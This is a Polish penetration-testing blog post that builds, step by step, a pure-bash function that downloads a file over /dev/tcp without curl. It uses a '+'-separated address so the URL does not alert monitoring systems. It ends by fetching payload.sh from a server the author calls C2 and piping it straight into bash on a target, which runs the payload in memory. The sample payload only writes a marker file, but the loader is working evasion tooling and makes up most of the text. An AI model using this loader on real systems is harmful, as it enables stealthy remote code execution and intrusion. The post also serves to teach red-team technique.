Czysta funkcja bash do pobierania i uruchamiania ładunków
Napisał: Patryk Krawaczyński
28/11/2023 w Pen Test Brak komentarzy. (artykuł nr 880, ilość słów: 743)
C
zy do pobrania pliku z internetu za pomocą protokołu http jest potrzebne inne narzędzie (np. curl) niż powłoka bash? Czy możemy napisać taką funkcję, która przyjmie adres nie związany z typowym ciągiem URL, aby nie budzić różnych systemów? Spróbujmy odpowiedzieć na te pytania. Zacznijmy od przekazania argumentu, który określi z jakiego adresu plik ma być pobrany. Naszym ciągiem tekstowym będzie: “stardust.nfsec.pl+80+payload.sh“, czyli separatorem zmiennych będzie znak “+”. W powłoce bash istnieje specjalna zmienna o nazwie Internal Field Separator (IFS), za pomocą której możemy zdefiniować separator dla polecenia read. Polecenie to może przypisać kilka zmiennych na raz, jeśli przekażemy mu dane wejściowe za pomocą metody Here Strings (podobnej do Here Documents). Czyli nasza pierwsza linia będzie miała postać:
IFS="+" read server port file <<< $(echo "$1")
Możemy zamknąć ten kod na razie jako tymczasowy skrypt:
IFS="+" read server port file <<< $(echo "$1") echo $server echo $port echo $file
i sprawdzić jego działanie:
agresor@darkstar:~$ bash -x x.sh "stardust.nfsec.pl+80+index.html" + IFS=+ + read server port file ++ echo stardust.nfsec.pl+80+index.html + echo stardust.nfsec.pl stardust.nfsec.pl + echo 80 80 + echo index.html index.html
Kolejnym krokiem jest zbudowanie komunikacji. Powłoka bash obsługuje operacje odczytu / zapisu z / do pliku pseudourządzenia /dev/tcp/[host]/[port]. Zapisywanie strumienia danych do tego specjalnego pliku powoduje, że otwieramy połączenie TCP z danym hostem na danym porcie. Oprócz zapisu musimy jeszcze podpiąć się z odczytem, aby odebrać zwrócone dane. W tym celu możemy wykorzystać obustronne przekierowanie polecenia exec, które zaczepimy o deskryptor pliku numer 3 (0, 1, 2 są już zarezerwowane):
IFS="+" read server port file <<< $(echo "$1") exec 3<>/dev/tcp/${server}/$port
Mając już kanał komunikacji musimy dla niego spreparować żądanie HTTP, które będzie opierało się na poleceniu echo. Jest to dość proste, musimy tylko pamiętać o odpowiednim umieszczeniu znaków nowej linii oraz powrotu karetki:
IFS="+" read server port file <<< $(echo "$1") exec 3<>/dev/tcp/${server}/$port echo -en "GET /${file} HTTP/1.1\r\nHost: ${server}\r\nConnection: close\r\n\r\n" >&3 exec 3>&-
Po wysłaniu żądania HTTP możemy odebrać odpowiedź:
IFS="+" read server port file <<< $(echo "$1") exec 3<>/dev/tcp/${server}/$port echo -en "GET /${file} HTTP/1.1\r\nHost: ${server}\r\nConnection: close\r\n\r\n" >&3 (while read line; do echo $line; done) <&3 exec 3>&-
Niestety testy tej wersji nie zakończą się powodzeniem:
agresor@darkstar:~$ ./x.sh "stardust.nfsec.pl+80+index.html" HTTP/1.1 200 OK Date: Tue, 28 Nov 2023 20:18:05 GMT Server: Apache Referrer-Policy: no-referrer Vary: Accept-Encoding Last-Modified: Sun, 31 Jan 2016 11:12:35 GMT Accept-Ranges: bytes Content-Length: 296 Connection: close Content-Type: text/html; charset=UTF-8 <!doctype html public "-//w3c//dtd html 4.0 transitional//en"> <html> <head> <title>Stardust</title> <meta http-equiv="refresh" content="5; url=https://nfsec.pl/"> </head> <body> <center> <img src="stardust.png" width="320" height="480" alt="Stardust" title="Stardust" /> </center> </body> </html>
Ponieważ zeszliśmy dość "nisko" w komunikacji, otrzymaliśmy w odpowiedzi również nagłówki HTTP, a nam chodzi jedynie o czysty ładunek / plik z danego serwera HTTP. W tym celu musimy pozbyć się wierszy z nagłówkami. Jeśli zamiast echo w pętli whilte podstawimy, coś niespotykanego i użyjemy polecenia cat to zobaczymy, że ciągi tekstowe nagłówków HTTP kończą się "ukrytymi" znakami: $'\r'
(while read line; do cat $line; done) <&3
cat: HTTP/1.1: No such file or directory cat: 200: No such file or directory cat: 'OK'$'\r': No such file or directory
Dzięki temu możemy łatwo wyfiltrować nagłówki z pętli i zwrócić tylko główną zawartość żądania HTTP:
IFS="+" read server port file <<< $(echo "$1") exec 3<>/dev/tcp/${server}/$port echo -en "GET /${file} HTTP/1.1\r\nHost: ${server}\r\nConnection: close\r\n\r\n" >&3 (while read line; do [[ "$line" == $'\r' ]] && break; done && cat) <&3 exec 3>&-
Ostatnim krokiem jest zamiana skryptu w funkcję. Dlaczego? Ponieważ funkcje są przechowywane w pamięci, a nie w systemie plików i funkcję możemy wywołać raz za pośrednictwem terminala, używając następującego kodu:
function _onthefly() { IFS="+" read server port file <<< $(echo "$1") exec 3<>/dev/tcp/${server}/$port echo -en "GET /${file} HTTP/1.1\r\nHost: ${server}\r\nConnection: close\r\n\r\n" >&3 (while read line; do [[ "$line" == $'\r' ]] && break; done && cat) <&3 exec 3>&- }
a później odwoływać do niej wielokrotnie przez nazwę. Po stronie C2 (Command and Control) przygotowany jest ładunek:
root@stardust:~# cat /var/www/payload.sh #!/bin/bash echo "A broken shell straight shackled onto the floor" > /tmp/PWN3D exit 0
Po stronie celu uruchamiany wcześniej wklejoną funkcję ściągającą ładunek i "w locie" przekazujemy ją do wykonania:
agresor@darkstar:~$ _onthefly "stardust.nfsec.pl+80+payload.sh" | bash agresor@darkstar:~$ cat /tmp/PWN3D A broken shell straight shackled onto the floor
Po odnotowaniu pobrania pliku payload.sh serwer C2 usuwa plik, aby nie można go było ponownie ściągnąć...
Więcej informacji: Some useful tips about /dev/tcp